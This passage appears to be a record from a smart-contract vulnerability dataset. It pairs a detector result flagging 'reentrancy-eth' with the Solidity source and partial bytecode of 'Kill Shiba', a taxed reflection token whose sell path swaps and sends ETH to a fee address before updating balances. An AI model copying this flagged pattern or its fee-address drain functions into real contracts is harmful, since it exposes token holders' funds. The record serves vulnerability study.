0008060008061173b8761189a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061176d90876118f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461179c9086611939565b6001600160a01b0389166000908152600260205260409020556117be81611998565b6117c884836119e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161180d91815260200190565b60405180910390a3505050505050505050565b60065460009081906d0366e7064422fd8420234000000061184182826116e7565b821015611863575050600654926d0366e7064422fd8420234000000092509050565b90939092509050565b6000818361188d5760405162461bcd60e51b815260040161072d9190611b2a565b5060006114058486611f6b565b60008060008060008060008060006118b78a600c54600d54611a06565b92509250925060006118c76116c4565b905060008060006118da8e878787611a5b565b919e509c509a509598509396509194505050505091939550919395565b60006114c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d4565b6000806119468385611eae565b9050838110156114c55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161072d565b60006119a26116c4565b905060006119b08383611aab565b306000908152600260205260409020549091506119cd9082611939565b30600090815260026020526040902055505050565b6006546119ef90836118f7565b6006556007546119ff9082611939565b6007555050565b6000808080611a206064611a1a8989611aab565b906116e7565b90506000611a336064611a1a8a89611aab565b90506000611a4b82611a458b866118f7565b906118f7565b9992985090965090945050505050565b6000808080611a6a8886611aab565b90506000611a788887611aab565b90506000611a868888611aab565b90506000611a9882611a4586866118f7565b939b939a50919850919650505050505050565b600082611aba57506000610694565b6000611ac68385611e5e565b905082611ad38583611f6b565b146114c55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161072d565b600060208083528351808285015260005b81811015611b5757858101830151858201604001528201611b3b565b81811115611b69576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083557600080fd5b60008060408385031215611ba757600080fd5b8235611bb281611b7f565b946020939093013593505050565b600080600060608486031215611bd557600080fd5b8335611be081611b7f565b92506020840135611bf081611b7f565b929592945050506040919091013590565b600060208284031215611c1357600080fd5b81356114c581611b7f565b80358015158114611c2e57600080fd5b919050565b600060208284031215611c4557600080fd5b6114c582611c1e565b600060208284031215611c6057600080fd5b5035919050565b60008060008060808587031215611c7d57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611cab57600080fd5b50813567ffffffffffffffff811115611cc357600080fd5b6020830191508360208260051b8501011115611cde57600080fd5b9250929050565b600080600060408486031215611cfa57600080fd5b833567ffffffffffffffff811115611d1157600080fd5b611d1d86828701611c99565b9094509250611d30905060208501611c1e565b90509250925092565b60008060008060408587031215611d4f57600080fd5b843567ffffffffffffffff80821115611d6757600080fd5b611d7388838901611c99565b90965094506020870135915080821115611d8c57600080fd5b50611d9987828801611c99565b95989497509550505050565b60008060408385031215611db857600080fd5b8235611dc381611b7f565b91506020830135611dd381611b7f565b809150509250929050565b60008060408385031215611df157600080fd5b8235611dfc81611b7f565b9150611e0a60208401611c1e565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611e7857611e78611e48565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ea757611ea7611e48565b5060010190565b60008219821115611ec157611ec1611e48565b500190565b600082821015611ed857611ed8611e48565b500390565b600060208284031215611eef57600080fd5b81516114c581611b7f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f4a5784516001600160a01b031683529383019391830191600101611f25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f8857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048ef422596cc9bc1d1ab2f7804e3e2ee09cb445b4ca6c8acae62d94fdbcca06e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,137 |
0xfe5914055888da0483a1b2a2265a7005bd230ed0
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KillShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Kill Shiba";
string private constant _symbol = unicode"KSH";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _feeRate = 10;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 9;
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x03f7724180AA6b939894B5Ca4314783B0b36b329);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function killSTART() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function setFeeAddres(address payable addr) external onlyOwner {
_FeeAddress = addr;
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd801461039a578063db92dbb6146103b1578063dd62ed3e146103dc578063e4d8e21114610419578063e8078d94146104305761011f565b8063715018a6146102c75780638da5cb5b146102de57806395d89b4114610309578063a9059cbb14610334578063b7318155146103715761011f565b806327f3a72a116100e757806327f3a72a146101f4578063313ce5671461021f57806345596e2e1461024a5780636fc3eaec1461027357806370a082311461028a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610447565b60405161014691906128cc565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612459565b610484565b60405161018391906128b1565b60405180910390f35b34801561019857600080fd5b506101a16104a2565b6040516101ae9190612a6e565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061240a565b6104b4565b6040516101eb91906128b1565b60405180910390f35b34801561020057600080fd5b5061020961058d565b6040516102169190612a6e565b60405180910390f35b34801561022b57600080fd5b5061023461059d565b6040516102419190612ae3565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906124be565b6105a6565b005b34801561027f57600080fd5b5061028861068d565b005b34801561029657600080fd5b506102b160048036038101906102ac9190612353565b6106ff565b6040516102be9190612a6e565b60405180910390f35b3480156102d357600080fd5b506102dc610750565b005b3480156102ea57600080fd5b506102f36108a3565b60405161030091906127e3565b60405180910390f35b34801561031557600080fd5b5061031e6108cc565b60405161032b91906128cc565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190612459565b610909565b60405161036891906128b1565b60405180910390f35b34801561037d57600080fd5b50610398600480360381019061039391906123a5565b610927565b005b3480156103a657600080fd5b506103af610a00565b005b3480156103bd57600080fd5b506103c6610a7a565b6040516103d39190612a6e565b60405180910390f35b3480156103e857600080fd5b5061040360048036038101906103fe91906123ce565b610aac565b6040516104109190612a6e565b60405180910390f35b34801561042557600080fd5b5061042e610b33565b005b34801561043c57600080fd5b50610445610be5565b005b60606040518060400160405280600a81526020017f4b696c6c20536869626100000000000000000000000000000000000000000000815250905090565b60006104986104916110e2565b84846110ea565b6001905092915050565b600069152d02c7e14af6800000905090565b60006104c18484846112b5565b610582846104cd6110e2565b61057d856040518060600160405280602881526020016130d660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105336110e2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117709092919063ffffffff16565b6110ea565b600190509392505050565b6000610598306106ff565b905090565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e76110e2565b73ffffffffffffffffffffffffffffffffffffffff161461060757600080fd5b6033811061064a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106419061296e565b60405180910390fd5b80600a819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600a546040516106829190612a6e565b60405180910390a150565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ce6110e2565b73ffffffffffffffffffffffffffffffffffffffff16146106ee57600080fd5b60004790506106fc816117d4565b50565b6000610749600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611840565b9050919050565b6107586110e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc906129ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4b53480000000000000000000000000000000000000000000000000000000000815250905090565b600061091d6109166110e2565b84846112b5565b6001905092915050565b61092f6110e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b3906129ae565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a416110e2565b73ffffffffffffffffffffffffffffffffffffffff1614610a6157600080fd5b6000610a6c306106ff565b9050610a77816118ae565b50565b6000610aa7601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106ff565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b3b6110e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf906129ae565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610bed6110e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c71906129ae565b60405180910390fd5b601160149054906101000a900460ff1615610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc190612a2e565b60405180910390fd5b60007303f7724180aa6b939894b5ca4314783b0b36b329905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d5b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006110ea565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610da157600080fd5b505afa158015610db5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd9919061237c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3b57600080fd5b505afa158015610e4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e73919061237c565b6040518363ffffffff1660e01b8152600401610e909291906127fe565b602060405180830381600087803b158015610eaa57600080fd5b505af1158015610ebe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee2919061237c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f6b306106ff565b600080610f766108a3565b426040518863ffffffff1660e01b8152600401610f9896959493929190612850565b6060604051808303818588803b158015610fb157600080fd5b505af1158015610fc5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fea91906124e7565b505050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161108c929190612827565b602060405180830381600087803b1580156110a657600080fd5b505af11580156110ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110de9190612495565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c19061292e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112a89190612a6e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c906129ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c906128ee565b60405180910390fd5b600081116113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf906129ce565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114835750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561153557601160149054906101000a900460ff1661152d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152490612a4e565b60405180910390fd5b600980819055505b6000611540306106ff565b9050601160159054906101000a900460ff161580156115ad5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115c55750601160149054906101000a900460ff165b156116ac576009808190555060008111156116925761162c606461161e600a54611610601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106ff565b611ba890919063ffffffff16565b611c2390919063ffffffff16565b811115611688576116856064611677600a54611669601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106ff565b611ba890919063ffffffff16565b611c2390919063ffffffff16565b90505b611691816118ae565b5b600047905060008111156116aa576116a9476117d4565b5b505b600060019050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117535750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561175d57600090505b61176985858584611c6d565b5050505050565b60008383111582906117b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117af91906128cc565b60405180910390fd5b50600083856117c79190612c34565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561183c573d6000803e3d6000fd5b5050565b6000600654821115611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187e9061290e565b60405180910390fd5b6000611891611c9a565b90506118a68184611c2390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561190c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561193a5781602001602082028036833780820191505090505b5090503081600081518110611978577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1a57600080fd5b505afa158015611a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a52919061237c565b81600181518110611a8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611af330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ea565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b57959493929190612a89565b600060405180830381600087803b158015611b7157600080fd5b505af1158015611b85573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611bbb5760009050611c1d565b60008284611bc99190612bda565b9050828482611bd89190612ba9565b14611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061298e565b60405180910390fd5b809150505b92915050565b6000611c6583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cc5565b905092915050565b80611c7b57611c7a611d28565b5b611c86848484611d6b565b80611c9457611c93611f36565b5b50505050565b6000806000611ca7611f4a565b91509150611cbe8183611c2390919063ffffffff16565b9250505090565b60008083118290611d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0391906128cc565b60405180910390fd5b5060008385611d1b9190612ba9565b9050809150509392505050565b6000600854148015611d3c57506000600954145b15611d4657611d69565b600854600d81905550600954600e81905550600060088190555060006009819055505b565b600080600080600080611d7d87611faf565b955095509550955095509550611ddb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc816120bf565b611ec6848361217c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f239190612a6e565b60405180910390a3505050505050505050565b600d54600881905550600e54600981905550565b60008060006006549050600069152d02c7e14af68000009050611f8269152d02c7e14af6800000600654611c2390919063ffffffff16565b821015611fa25760065469152d02c7e14af6800000935093505050611fab565b81819350935050505b9091565b6000806000806000806000806000611fcc8a6008546009546121b6565b9250925092506000611fdc611c9a565b90506000806000611fef8e87878761224c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061205983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611770565b905092915050565b60008082846120709190612b53565b9050838110156120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081